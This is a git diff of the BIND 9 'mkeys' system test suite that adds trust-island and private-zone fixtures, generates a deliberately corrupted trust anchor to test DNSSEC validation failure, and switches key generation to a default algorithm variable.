 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,13 +13,31 @@
 
 . ../../conf.sh
 
+zone=sub.tld
+zonefile=sub.tld.db
+
+keyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk $zone)
+zskkeyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $zone)
+
+$SIGNER -Sg -o $zone $zonefile > /dev/null 2>/dev/null
+keyfile_to_initial_ds $keyname > island.conf
+cp island.conf ../ns5/island.conf
+
+zone=tld
+zonefile=tld.db
+
+keyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk $zone)
+zskkeyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $zone)
+
+$SIGNER -Sg -o $zone $zonefile > /dev/null 2>/dev/null
+
 zone=.
 zonefile=root.db
 
-keyname=`$KEYGEN -a rsasha256 -qfk $zone`
-zskkeyname=`$KEYGEN -a rsasha256 -q $zone`
+keyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk $zone)
+zskkeyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $zone)
 
-$SIGNER -Sg -o $zone $zonefile > /dev/null 2>/dev/null
+$SIGNER -Sg -N unixtime -o $zone $zonefile > /dev/null 2>/dev/null
 
 # Configure the resolving server with an initializing key.
 keyfile_to_initial_ds $keyname > managed.conf
@@ -25,6 +45,39 @@ cp managed.conf ../ns2/managed.conf
 cp managed.conf ../ns4/managed.conf
 cp managed.conf ../ns5/managed.conf
 
+# Configure broken trust anchor for ns3
+# Rotate each nibble in the digest by -1
+$DSFROMKEY $keyname.key |
+awk '!/^; /{
+            printf "trust-anchors {\n"
+            printf "\t\""$1"\" initial-ds "
+            printf $4 " " $5 " " $6 " \""
+            for (i=7; i<=NF; i++) {
+		# rotate digest
+		digest=$i
+		gsub("0", ":", digest)
+		gsub("1", "0", digest)
+		gsub("2", "1", digest)
+		gsub("3", "2", digest)
+		gsub("4", "3", digest)
+		gsub("5", "4", digest)
+		gsub("6", "5", digest)
+		gsub("7", "6", digest)
+		gsub("8", "7", digest)
+		gsub("9", "8", digest)
+		gsub("A", "9", digest)
+		gsub("B", "A", digest)
+		gsub("C", "B", digest)
+		gsub("D", "C", digest)
+		gsub("E", "D", digest)
+		gsub("F", "E", digest)
+		gsub(":", "F", digest)
+		printf digest
+	    }
+	    printf "\";\n"
+	    printf "};\n"
+	}' > ../ns3/broken.conf
+
 # Configure a static key to be used by delv.
 keyfile_to_static_ds $keyname > trusted.conf
 
diff --git a/bin/tests/system/mkeys/ns1/sub.tld.db b/bin/tests/system/mkeys/ns1/sub.tld.db
new file mode 100644
index 0000000000..35d436112d
--- /dev/null
+++ b/bin/tests/system/mkeys/ns1/sub.tld.db
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 20
+sub.tld.               IN SOA  marka.isc.org. ns.sub.tld. (
+                               2000042100      ; serial
+                               600             ; refresh
+                               600             ; retry
+                               1200            ; expire
+                               2               ; minimum
+                               )
+sub.tld.	       NS      ns.sub.tld.
+ns.sub.tld.	       A       10.53.0.1
diff --git a/bin/tests/system/mkeys/ns1/tld.db b/bin/tests/system/mkeys/ns1/tld.db
new file mode 100644
index 0000000000..5c54e0e9db
--- /dev/null
+++ b/bin/tests/system/mkeys/ns1/tld.db
@@ -0,0 +1,23 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 20
+tld.                   IN SOA  marka.isc.org. ns.tld. (
+                               2000042100      ; serial
+                               600             ; refresh
+                               600             ; retry
+                               1200            ; expire
+                               2               ; minimum
+                               )
+tld.		       NS      ns.tld.
+ns.tld.		       A       10.53.0.1
+sub.tld.	       NS      ns.sub.tld.
+ns.sub.tld.	       A       10.53.0.1
diff --git a/bin/tests/system/mkeys/ns2/named.args b/bin/tests/system/mkeys/ns2/named.args
index 2f752bd79b..e588c91b48 100644
--- a/bin/tests/system/mkeys/ns2/named.args
+++ b/bin/tests/system/mkeys/ns2/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D mkeys-ns2 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20 -T tat=1
+-m record -c named.conf -d 99 -D mkeys-ns2 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20 -T tat=1
diff --git a/bin/tests/system/mkeys/ns2/named.conf.in b/bin/tests/system/mkeys/ns2/named.conf.in
index d87bf18c51..1c77556f78 100644
--- a/bin/tests/system/mkeys/ns2/named.conf.in
+++ b/bin/tests/system/mkeys/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/mkeys/ns3/named.args b/bin/tests/system/mkeys/ns3/named.args
index 2015ee509a..28396c356c 100644
--- a/bin/tests/system/mkeys/ns3/named.args
+++ b/bin/tests/system/mkeys/ns3/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -D mkeys-ns3 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20
+-m record -c named.conf -d 99 -D mkeys-ns3 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20
diff --git a/bin/tests/system/mkeys/ns3/named.conf.in b/bin/tests/system/mkeys/ns3/named.conf.in
index 615b3d14b0..c88520705f 100644
--- a/bin/tests/system/mkeys/ns3/named.conf.in
+++ b/bin/tests/system/mkeys/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,14 +23,14 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify no;
-	dnssec-validation yes;
+	dnssec-validation auto;
 	bindkeys-file "managed.conf";
 	trust-anchor-telemetry no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -40,7 +42,4 @@ zone "." {
 	file "../../common/root.hint";
 };
 
-# purposely broken key for testing
-trust-anchors {
-    "." initial-key 257 3 5 "PURPOSELYBROKEN/xs9iVj7QekClcpzjCf0JrvXW1z07hNMqMm6Q2FtIXMbRgfvTtHF3/ZNvcewT9hpfczC+JACHsQSYYdr7UI8oe4nJfal9+2F3pz4a+HR6CqkgrR6WLWQI1Q==";
-};
+include "broken.conf";
diff --git a/bin/tests/system/mkeys/ns4/named.conf.in b/bin/tests/system/mkeys/ns4/named.conf.in
index e0adc97a51..5c2370887b 100644
--- a/bin/tests/system/mkeys/ns4/named.conf.in
+++ b/bin/tests/system/mkeys/ns4/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -39,3 +41,8 @@ zone "." {
 	type hint;
 	file "../../common/root.hint";
 };
+
+zone "sub.foo" {
+	type primary;
+	file "sub.foo.db.signed";
+};
diff --git a/bin/tests/system/mkeys/ns4/sign.sh b/bin/tests/system/mkeys/ns4/sign.sh
new file mode 100644
index 0000000000..d364e8e363
--- /dev/null
+++ b/bin/tests/system/mkeys/ns4/sign.sh
@@ -0,0 +1,24 @@
+#!/bin/sh -e
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../../conf.sh
+
+zone=sub.foo
+zonefile=sub.foo.db
+
+keyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk $zone)
+zskkeyname=$($KEYGEN -a ${DEFAULT_ALGORITHM} -q $zone)
+
+$SIGNER -Sg -o $zone $zonefile > /dev/null 2>/dev/null
+keyfile_to_initial_ds $keyname > private.conf
+cp private.conf ../ns5/private.conf
diff --git a/bin/tests/system/mkeys/ns4/sub.foo.db b/bin/tests/system/mkeys/ns4/sub.foo.db
new file mode 100644
index 0000000000..7bc31047b6
--- /dev/null
+++ b/bin/tests/system/mkeys/ns4/sub.foo.db
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 20
+sub.foo.               IN SOA  marka.isc.org. ns.foo. (
+                               2000042100      ; serial
+                               600             ; refresh
+                               600             ; retry
+                               1200            ; expire
+                               2               ; minimum
+                               )
+sub.foo.	       NS      ns.sub.foo.
+ns.sub.foo.	       A       10.53.0.4
diff --git a/bin/tests/system/mkeys/ns5/foo.db b/bin/tests/system/mkeys/ns5/foo.db
new file mode 100644
index 0000000000..092a1c3b0e
--- /dev/null
+++ b/bin/tests/system/mkeys/ns5/foo.db
@@ -0,0 +1,23 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 20
+foo.                   IN SOA  marka.isc.org. ns.foo. (
+                               2000042100      ; serial
+                               600             ; refresh
+                               600             ; retry
+                               1200            ; expire
+                               2               ; minimum
+                               )
+foo.		       NS      ns.foo.
+ns.foo.		       A       10.53.0.5
+sub.foo.	       NS      ns.sub.foo.
+ns.sub.foo.	       A       10.53.0.4
diff --git a/bin/tests/system/mkeys/ns5/named.conf.in b/bin/tests/system/mkeys/ns5/named.conf.in
index 91f56138e7..757d61495a 100644
--- a/bin/tests/system/mkeys/ns5/named.conf.in
+++ b/bin/tests/system/mkeys/ns5/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -28,7 +30,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -39,3 +41,11 @@ zone "." {
 	type hint;
 	file "../../common/root.hint";
 };
+
+zone "foo" {
+	type primary;
+	file "foo.db";
+};
+
+include "island.conf";
+include "private.conf";
diff --git a/bin/tests/system/mkeys/ns5/named1.args b/bin/tests/system/mkeys/ns5/named1.args
index c4c8a55817..6eeaa29006 100644
--- a/bin/tests/system/mkeys/ns5/named1.args
+++ b/bin/tests/system/mkeys/ns5/named1.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152
+-m record -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152
diff --git a/bin/tests/system/mkeys/ns5/named2.args b/bin/tests/system/mkeys/ns5/named2.args
index 3fd830afbb..34ac30d937 100644
--- a/bin/tests/system/mkeys/ns5/named2.args
+++ b/bin/tests/system/mkeys/ns5/named2.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=2/20/40
+-m record -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=2/20/40
diff --git a/bin/tests/system/mkeys/ns6/named.args b/bin/tests/system/mkeys/ns6/named.args
index 65a8fcaa97..7ef5cf02f9 100644
--- a/bin/tests/system/mkeys/ns6/named.args
+++ b/bin/tests/system/mkeys/ns6/named.args
@@ -1 +1 @@
--m record,size,mctx -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20
+-m record -c named.conf -d 99 -X named.lock -g -T maxcachesize=2097152 -T mkeytimers=5/10/20
diff --git a/bin/tests/system/mkeys/ns6/named.conf.in b/bin/tests/system/mkeys/ns6/named.conf.in
index 23eb115be2..7e74c3820b 100644
--- a/bin/tests/system/mkeys/ns6/named.conf.in
+++ b/bin/tests/system/mkeys/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -21,13 +23,13 @@ options {
 	listen-on-v6 { none; };
 	recursion yes;
 	notify no;
-	dnssec-validation yes;
+	dnssec-validation auto;
 	trust-anchor-telemetry no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/mkeys/ns6/setup.sh b/bin/tests/system/mkeys/ns6/setup.sh
index d0d3ba0139..fcbd28774f 100644
--- a/bin/tests/system/mkeys/ns6/setup.sh
+++ b/bin/tests/system/mkeys/ns6/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -14,18 +16,18 @@
 zone=.
 zonefile=root.db
 
-# an RSA key
-rsakey=`$KEYGEN -a rsasha256 -qfk rsasha256.`
+# a key for a trust island
+islandkey=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk island.)
 
 # a key with unsupported algorithm
 unsupportedkey=Kunknown.+255+00000
 cp unsupported-managed.key "${unsupportedkey}.key"
 
 # root key
-rootkey=`cat ../ns1/managed.key`
+rootkey=$(cat ../ns1/managed.key)
 cp "../ns1/${rootkey}.key" .
 
 # Configure the resolving server with an initializing key.
 # (We use key-format trust anchors here because otherwise the
 # unsupported algorithm test won't work.)
-keyfile_to_initial_keys $unsupportedkey $rsakey $rootkey > managed.conf
+keyfile_to_initial_keys $unsupportedkey $islandkey $rootkey > managed.conf
diff --git a/bin/tests/system/mkeys/ns7/named.conf.in b/bin/tests/system/mkeys/ns7/named.conf.in
index 59959368aa..b50246a774 100644
--- a/bin/tests/system/mkeys/ns7/named.conf.in
+++ b/bin/tests/system/mkeys/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -27,7 +29,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/mkeys/setup.sh b/bin/tests/system/mkeys/setup.sh
index 16fa19d6b4..d1a30a21c9 100644
--- a/bin/tests/system/mkeys/setup.sh
+++ b/bin/tests/system/mkeys/setup.sh
@@ -1,16 +1,25 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+export ALGORITHM_SET="ecc_default"
 . ../conf.sh
 
+# Ensure the selected algorithm set is okay.
+if [ "$ALGORITHM_SET" = "error" ]; then
+    echofail "Algorithm selection failed." >&2
+    exit 1
+fi
+
 copy_setports ns1/named1.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
@@ -22,6 +31,7 @@ copy_setports ns7/named.conf.in ns7/named.conf
 cp ns5/named1.args ns5/named.args
 
 ( cd ns1 && $SHELL sign.sh )
+( cd ns4 && $SHELL sign.sh )
 ( cd ns6 && $SHELL setup.sh )
 
 cp ns2/managed.conf ns2/managed1.conf
diff --git a/bin/tests/system/mkeys/tests.sh b/bin/tests/system/mkeys/tests.sh
index 2debe51e14..bc2a59af35 100644
--- a/bin/tests/system/mkeys/tests.sh
+++ b/bin/tests/system/mkeys/tests.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,6 +13,7 @@
 
 set -e
 
+export ALGORITHM_SET="ecc_default"
 #shellcheck source=conf.sh
 . ../conf.sh
 
@@ -38,11 +41,16 @@ mkeys_reload_on() (
 	wait_for_log 20 "loaded serial" "ns${nsidx}"/named.run || return 1
 )
 
-mkeys_loadkeys_on() (
-	nsidx=$1
-	nextpart "ns${nsidx}"/named.run > /dev/null
-	rndccmd "10.53.0.${nsidx}" loadkeys . | sed "s/^/ns${nsidx} /" | cat_i
-	wait_for_log 20 "next key event" "ns${nsidx}"/named.run || return 1
+mkeys_resign_rootzone() (
+	n=$1
+	(
+		cd ns1
+		sleep 1 # ensure modification time changes
+		$SIGNER -PSg -N unixtime -o . root.db > signer.out.test$1 2>&1
+	)
+	nextpart ns1/named.run > /dev/null
+	rndccmd "10.53.0.1" reload . | sed "s/^/ns1 /" | cat_i
+	wait_for_log 20 "loaded serial" ns1/named.run || return 1
 )
 
 mkeys_refresh_on() (
@@ -108,15 +116,17 @@ grep "example..*.RRSIG..*TXT" dig.out.ns2.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
-n=$((n+1))
-ret=0
-echo_i "check positive validation using delv ($n)"
-delv_with_opts @10.53.0.1 txt example > delv.out$n || ret=1
-grep "; fully validated" delv.out$n > /dev/null || ret=1	# redundant
-grep "example..*TXT.*This is a test" delv.out$n > /dev/null || ret=1
-grep "example..*.RRSIG..*TXT" delv.out$n > /dev/null || ret=1
-if [ $ret != 0 ]; then echo_i "failed"; fi
-status=$((status+ret))
+if [ -x "$DELV" ]; then
+	n=$((n+1))
+	ret=0
+	echo_i "check positive validation using delv ($n)"
+	delv_with_opts @10.53.0.1 txt example > delv.out$n || ret=1
+	grep "; fully validated" delv.out$n > /dev/null || ret=1	# redundant
+	grep "example..*TXT.*This is a test" delv.out$n > /dev/null || ret=1
+	grep "example..*.RRSIG..*TXT" delv.out$n > /dev/null || ret=1
+	if [ $ret != 0 ]; then echo_i "failed"; fi
+	status=$((status+ret))
+fi
 
 n=$((n+1))
 echo_i "check for failed validation due to wrong key in managed-keys ($n)"
@@ -131,8 +141,8 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "check new trust anchor can be added ($n)"
 ret=0
-standby1=$($KEYGEN -a rsasha256 -qfk -K ns1 .)
-mkeys_loadkeys_on 1 || ret=1
+standby1=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk -K ns1 .)
+mkeys_resign_rootzone $n || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.$n 2>&1 || ret=1
 # there should be two keys listed now
@@ -173,7 +183,7 @@ ret=0
 mkeys_sync_on 2 || ret=1
 t1=$(grep "trust pending" ns2/managed-keys.bind) || true
 $SETTIME -D now -K ns1 "$standby1" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 # Less than a second may have passed since the last time ns2 received a
 # ./DNSKEY response from ns1.  Ensure keys are refreshed at a different
 # timestamp to prevent false negatives caused by the acceptance timer getting
@@ -194,7 +204,7 @@ echo_i "restore untrusted standby key, revoke original key ($n)"
 t1=$t2
 $SETTIME -D none -K ns1 "$standby1" > /dev/null
 $SETTIME -R now -K ns1 "$original" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 # Less than a second may have passed since the last time ns2 received a
 # ./DNSKEY response from ns1.  Ensure keys are refreshed at a different
 # timestamp to prevent false negatives caused by the acceptance timer getting
@@ -264,9 +274,9 @@ ret=0
 echo_i "restore revoked key, ensure same result ($n)"
 t1=$t2
 $SETTIME -R none -D now -K ns1 "$original" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 $SETTIME -D none -K ns1 "$original" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 # Less than a second may have passed since the last time ns2 received a
 # ./DNSKEY response from ns1.  Ensure keys are refreshed at a different
 # timestamp to prevent false negatives caused by the acceptance timer getting
@@ -298,11 +308,11 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "reinitialize trust anchors, add second key to bind.keys"
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns2
+stop_server --use-rndc --port "${CONTROLPORT}" ns2
 rm -f ns2/managed-keys.bind*
 keyfile_to_initial_ds ns1/"$original" ns1/"$standby1" > ns2/managed.conf
 nextpart ns2/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns2
+start_server --noclean --restart --port "${PORT}" ns2
 
 n=$((n+1))
 echo_i "check that no key from bind.keys is marked as an initializing key ($n)"
@@ -314,11 +324,11 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "reinitialize trust anchors, revert to one key in bind.keys"
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns2
+stop_server --use-rndc --port "${CONTROLPORT}" ns2
 rm -f ns2/managed-keys.bind*
 mv ns2/managed1.conf ns2/managed.conf
 nextpart ns2/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns2
+start_server --noclean --restart --port "${PORT}" ns2
 
 n=$((n+1))
 echo_i "check that standby key is now trusted ($n)"
@@ -340,9 +350,9 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "revoke original key, add new standby ($n)"
 ret=0
-standby2=$($KEYGEN -a rsasha256 -qfk -K ns1 .)
+standby2=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk -K ns1 .)
 $SETTIME -R now -K ns1 "$original" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.$n 2>&1 || ret=1
 # three keys listed
@@ -372,8 +382,8 @@ status=$((status+ret))
 n=$((n+1))
 echo_i "revoke standby before it is trusted ($n)"
 ret=0
-standby3=$($KEYGEN -a rsasha256 -qfk -K ns1 .)
-mkeys_loadkeys_on 1 || ret=1
+standby3=$($KEYGEN -a ${DEFAULT_ALGORITHM} -qfk -K ns1 .)
+mkeys_resign_rootzone $n || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.1.$n 2>&1 || ret=1
 # four keys listed
@@ -386,7 +396,7 @@ count=$(grep -c "trust revoked" rndc.out.1.$n) || true
 count=$(grep -c "trust pending" rndc.out.1.$n) || true
 [ "$count" -eq 2 ] || { echo_i "trust pending count ($count) != 2"; ret=1; }
 $SETTIME -R now -K ns1 "$standby3" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.2.$n 2>&1 || ret=1
 # now three keys listed
@@ -399,7 +409,7 @@ count=$(grep -c "trust revoked" rndc.out.2.$n) || true
 count=$(grep -c "trust pending" rndc.out.2.$n) || true
 [ "$count" -eq 1 ] || { echo_i "trust pending count ($count) != 1"; ret=1; }
 $SETTIME -D now -K ns1 "$standby3" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
@@ -430,7 +440,7 @@ ret=0
 $SETTIME -D now -K ns1 "$original" > /dev/null
 $SETTIME -R now -K ns1 "$standby1" > /dev/null
 $SETTIME -R now -K ns1 "$standby2" > /dev/null
-mkeys_loadkeys_on 1 || ret=1
+mkeys_resign_rootzone $n || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.$n 2>&1 || ret=1
 # two keys listed
@@ -468,6 +478,7 @@ ret=0
 $SETTIME -D none -R none -K ns1 "$original" > /dev/null
 $SETTIME -D now -K ns1 "$standby1" > /dev/null
 $SETTIME -D now -K ns1 "$standby2" > /dev/null
+sleep 1 # ensure modification time changes
 $SIGNER -Sg -K ns1 -N unixtime -o . ns1/root.db > /dev/null 2>/dev/null
 copy_setports ns1/named2.conf.in ns1/named.conf
 rm -f ns1/root.db.signed.jnl
@@ -477,10 +488,10 @@ if [ $ret != 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
 
 echo_i "reinitialize trust anchors"
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns2
+stop_server --use-rndc --port "${CONTROLPORT}" ns2
 rm -f ns2/managed-keys.bind*
 nextpart ns2/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns2
+start_server --noclean --restart --port "${PORT}" ns2
 
 n=$((n+1))
 echo_i "check positive validation ($n)"
@@ -576,11 +587,11 @@ ret=0
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.1.$n 2>&1 || ret=1
 t1=$(grep 'next refresh:' rndc.out.1.$n) || true
-stop_server --use-rndc --port "${CONTROLPORT}" mkeys ns1
+stop_server --use-rndc --port "${CONTROLPORT}" ns1
 rm -f ns1/root.db.signed.jnl
 cp ns1/root.db ns1/root.db.signed
 nextpart ns1/named.run > /dev/null
-start_server --noclean --restart --port "${PORT}" mkeys ns1
+start_server --noclean --restart --port "${PORT}" ns1
 wait_for_log 20 "all zones loaded" ns1/named.run || ret=1
 mkeys_refresh_on 2 || ret=1
 mkeys_status_on 2 > rndc.out.2.$n 2>&1 || ret=1
@@ -610,11 +621,11 @@ ret=0
